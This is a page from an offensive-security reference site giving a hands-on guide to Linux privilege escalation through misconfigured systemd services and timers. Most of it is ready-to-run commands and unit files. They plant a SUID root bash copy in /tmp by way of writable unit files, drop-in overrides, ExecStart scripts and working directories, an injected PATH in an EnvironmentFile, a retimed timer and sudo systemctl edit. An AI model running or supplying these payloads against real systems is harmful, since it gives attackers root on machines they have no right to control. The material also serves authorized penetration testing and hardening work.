# Systemd Unit and Timer Privilege Escalation

> Exploit misconfigured systemd units and timers with weak permissions or writable paths to escalate privileges on Linux systems.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/systemd-unit-and-timer-privilege-escalation
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-02-13
- **Updated:** 2026-07-14

Systemd service and timer units define what runs, when, and as which user. Writable unit files, drop-in directories, EnvironmentFile paths, executable scripts, and working directories are all exploitable when a service runs as root. Timers are cron replacements and follow the same abuse patterns.

## Prerequisites Check

List active timers: these are scheduled execution paths worth targeting:

```bash
systemctl list-timers --all
```

List all running services and their users:

```bash
systemctl list-units --type=service --state=running
ps aux | grep -v "^root" | head -5
ps aux | grep "^root" | grep -v "\[" | head -20
```

Find writable unit files across all systemd directories:

```bash
find /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system \
  -type f \( -name "*.service" -o -name "*.timer" \) -writable 2>/dev/null

# Also check drop-in directories
find /etc/systemd/system -type d -name "*.d" -writable 2>/dev/null
```

Units in `/etc/systemd/system/` override system defaults and are the most common target. Units in `/lib/systemd/system/` are package-managed but occasionally writable.

## Inspect a Target Unit

Before exploiting, read the full resolved unit configuration including inherited settings:

```bash
systemctl show backup.service
systemctl cat backup.service
```

`systemctl cat` shows the active file. `systemctl show` shows all resolved values including defaults. Key fields to identify attack surface:

- `ExecStart=`: main execution path
- `ExecStartPre=` / `ExecStartPost=`: pre/post hooks
- `ExecReload=`: reload hook, triggered by `systemctl reload`
- `WorkingDirectory=`: if writable, relative paths in the script are exploitable
- `EnvironmentFile=`: if writable, inject environment variables
- `User=`: confirms if it runs as root

## Systemd Service Privilege Escalation via Writable Unit Files

If you can write to the `.service` file directly:

```bash
ls -la /etc/systemd/system/backup.service
getfacl -p /etc/systemd/system/backup.service 2>/dev/null
```

Replace or append an ExecStart:

**/etc/systemd/system/backup.service**

```ini
[Unit]
Description=Backup Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/.rootbash && chmod u+s /tmp/.rootbash'
User=root

[Install]
WantedBy=multi-user.target
```

```bash
systemctl daemon-reload
systemctl restart backup.service
/tmp/.rootbash -p
```

If `systemctl daemon-reload` requires privilege you do not have, wait for the service to restart naturally (reboot, scheduled trigger) or check if the existing ExecStart path is writable instead.

## Writable Drop-in Directory

Drop-in files override specific settings of the parent unit. If a `.service.d/` directory is writable:

```bash
ls -ld /etc/systemd/system/backup.service.d/ 2>/dev/null
```

Create an override that replaces the ExecStart. The empty `ExecStart=` line clears the original before redefining:

```bash
mkdir -p /etc/systemd/system/backup.service.d/
cat > /etc/systemd/system/backup.service.d/override.conf << 'EOF'
[Service]
ExecStart=
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/.rootbash && chmod u+s /tmp/.rootbash'
EOF

systemctl daemon-reload
systemctl restart backup.service
/tmp/.rootbash -p
```

## Writable ExecStart Script

The most common scenario: the unit file is root-owned but the script it calls is writable:

```bash
# Read the unit to find the script path
systemctl cat backup.service | grep Exec

# Check the script's permissions
ls -la /opt/scripts/backup.sh
getfacl -p /opt/scripts/backup.sh 2>/dev/null

# If writable, append payload
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /opt/scripts/backup.sh
```

Wait for the service to run next (check with `systemctl status backup.service` for the last run time and schedule), or trigger it if you have permission:

```bash
systemctl start backup.service
/tmp/.rootbash -p
```

## ExecStartPre and ExecStartPost

Pre and post hooks run as the same user as the main service. If these paths are writable they are equivalent to ExecStart:

```bash
# Check for pre/post hooks
systemctl show backup.service | grep -E "ExecStartPre|ExecStartPost|ExecReload"

# Verify writability
ls -la /path/to/prehook.sh
```

Also check `ExecReload`: triggered by `systemctl reload`, which may be permitted for your user even if `restart` is not.

## Writable WorkingDirectory

If `WorkingDirectory` is set and writable, any relative path execution in the service script is exploitable:

```bash
systemctl show backup.service | grep WorkingDirectory
# e.g. WorkingDirectory=/opt/app

ls -ld /opt/app
```

If writable and the service calls `./run.sh` or similar relative path:

```bash
echo '#!/bin/sh' > /opt/app/run.sh
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /opt/app/run.sh
chmod +x /opt/app/run.sh
```

See [https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking](https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking) for the general PATH hijacking technique.

## Writable EnvironmentFile

If a service loads environment variables from a file and that file is writable, inject a PATH entry or other variables the service script uses:

```bash
# Find EnvironmentFile paths
systemctl show backup.service | grep EnvironmentFile
# e.g. EnvironmentFile=/etc/backup/backup.env

# Check writability
ls -la /etc/backup/backup.env

# If writable, inject PATH to point to a directory you control
echo 'PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' >> /etc/backup/backup.env
```

Then plant your malicious binary in `/tmp` with the same name as an unqualified command the service calls.

## Timers: Scheduled Execution

Timers trigger services on a schedule. Target the `.timer` file to control timing, the associated `.service` to control what runs. List all timers with next run time:

```bash
systemctl list-timers --all
```

Check the associated service for each timer:

```bash
systemctl cat logrotate.timer
# Note: Unit=logrotate.service

systemctl cat logrotate.service
# Note ExecStart path
```

Apply any of the above techniques to the associated `.service` file. If the `.timer` file itself is writable, you can change the schedule to fire immediately:

**/etc/systemd/system/logrotate.timer**

```ini
[Unit]
Description=Trigger immediately

[Timer]
OnBootSec=5
OnUnitActiveSec=30

[Install]
WantedBy=timers.target
```

```bash
systemctl daemon-reload
```

For cron-based scheduled execution abuse see [https://hackindex.io/platforms/linux/privilege-escalation/cron-job-privilege-escalation](https://hackindex.io/platforms/linux/privilege-escalation/cron-job-privilege-escalation).

## systemctl edit (if Permitted via sudo/polkit)

Some systems allow non-root users to edit units via sudo or Polkit. If `sudo -l` shows systemctl:

```bash
sudo systemctl edit backup.service
```

This opens a drop-in editor automatically. Add:

```ini
[Service]
ExecStart=
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/.rootbash && chmod u+s /tmp/.rootbash'
```

Save and exit. The drop-in is written to `/etc/systemd/system/backup.service.d/override.conf` automatically.

Check sudo permissions for systemctl specifically at [https://hackindex.io/platforms/linux/privilege-escalation/sudo-misconfiguration](https://hackindex.io/platforms/linux/privilege-escalation/sudo-misconfiguration).

## References

- [systemd.service manual](https://man7.org/linux/man-pages/man5/systemd.service.5.html) - ExecStart and security behavior
- [systemd.timer manual](https://man7.org/linux/man-pages/man5/systemd.timer.5.html) - Timer scheduling syntax
- [systemd.unit Manual](https://www.freedesktop.org/software/systemd/man/systemd.unit.html) - Drop-in directory behavior and override precedence.
